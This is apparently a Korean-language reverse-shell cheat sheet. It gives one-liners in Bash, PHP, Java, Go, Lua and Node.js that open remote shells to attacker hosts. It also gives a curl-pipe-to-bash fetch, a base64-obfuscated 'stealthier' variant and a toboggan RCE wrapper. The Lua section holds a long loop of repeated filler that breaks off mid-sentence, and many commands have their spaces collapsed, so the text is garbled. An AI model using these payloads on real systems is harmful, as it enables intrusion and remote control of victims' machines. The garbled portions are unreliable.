curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
심볼 안전 쉘
다른 쉘도 확인하는 것을 잊지 마세요: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, 그리고 bash.
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
쉘 설명
bash -i: 이 명령어 부분은 대화형(-i) Bash 쉘을 시작합니다.
>&: 이 명령어 부분은 표준 출력(stdout)과 표준 에러(stderr)를 동일한 대상으로 리다이렉팅하는 약식 표기법입니다.
/dev/tcp/<공격자-IP>/<포트>: 이는 지정된 IP 주소와 포트로의 TCP 연결을 나타내는 특수 파일입니다.
출력 및 에러 스트림을 이 파일로 리다이렉팅함으로써, 해당 명령어는 대화형 쉘 세션의 출력을 공격자의 기기로 전송합니다.
0>&1: 이 명령어 부분은 표준 입력(stdin)을 표준 출력(stdout)과 동일한 대상으로 리다이렉팅합니다.
리눅스 기반 웹 애플리케이션 내 원격 코드 실행 (RCE) 취약점을 다룰 때, 역술을 통한 쉘 획득은 iptables 규칙이나 복잡한 패킷 필터링 메커니즘과 같은 네트워크 방어에 의해 방해를 받을 수 있습니다. 이러한 제약된 환경에서는 대안적인 접근 방식으로 PTY (의사 터미널) 쉘을 설정하여 침해된 시스템과 보다 효과적으로 상호 작용할 수 있습니다.
이러한 목적으로 권장되는 도구는 toboggan이며, 이 도구를 사용하면 대상 환경과의 상호 작용을 간편하게 할 수 있습니다.
toboggan을 효과적으로 활용하기 위해 대상 시스템의 RCE 컨텍스트에 맞는 Python 모듈을 생성합니다. 예를 들어, nix.py라는 모듈은 다음과 같이 구성될 수 있습니다:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
그런 다음, 다음을 실행할 수 있습니다:
toboggan-mnix.py-i
직접적으로 상호작용하는 쉘을 활용하려면, Burpsuite 통합을 위해 -b를 추가하고 더 기본적인 rce 래퍼를 위해 -i를 제거할 수 있습니다.
PHP는 웹 개발에 널리 사용되는 스크립트 언어입니다. PHP 셸을 사용하여 명령을 실행하고 시스템 명령을 실행할 수 있습니다. 일반적으로 웹 셸을 사용하여 PHP 코드를 실행하고 시스템 명령을 실행할 수 있습니다.
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
자바
r=Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Lua
Lua는 빠르고 가벼운 스크립팅 언어이며, C로 작성되었습니다. Lua는 임베디드 시스템 및 게임 개발에서 널리 사용됩니다. Lua는 사용하기 쉽고 확장 가능하며, 다양한 플랫폼에서 실행될 수 있습니다. Lua는 강력한 표현력을 제공하며, 다른 언어와의 통합이 용이합니다. Lua는 스크립트 언어로 사용되지만, 프로토타입 기반 객체 지향 프로그래밍도 지원합니다. Lua는 C API를 통해 C 코드와 상호 작용할 수 있습니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한 용도로 활용될 수 있으며, 커뮤니티와 문서화가 활발합니다. Lua는 다양한 프로젝트에서 사용되며, 유연성과 확장성을 제공합니다. Lua는 다른 언어와의 통합이 용이하며, 다양한 환경에서 사용할 수 있습니다. Lua는 다양한 플랫폼에서 실행될 수 있으며, 다양한 용도로 활용됩니다. Lua는 다양한 분야에서 사용되며, 다양한 라이브러리와 확장이 제공됩니다. Lua는 빠르고 효율적이며, 작은 메모리 공간을 차지합니다. Lua는 다양한
#Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linuxlua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
공격자 (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response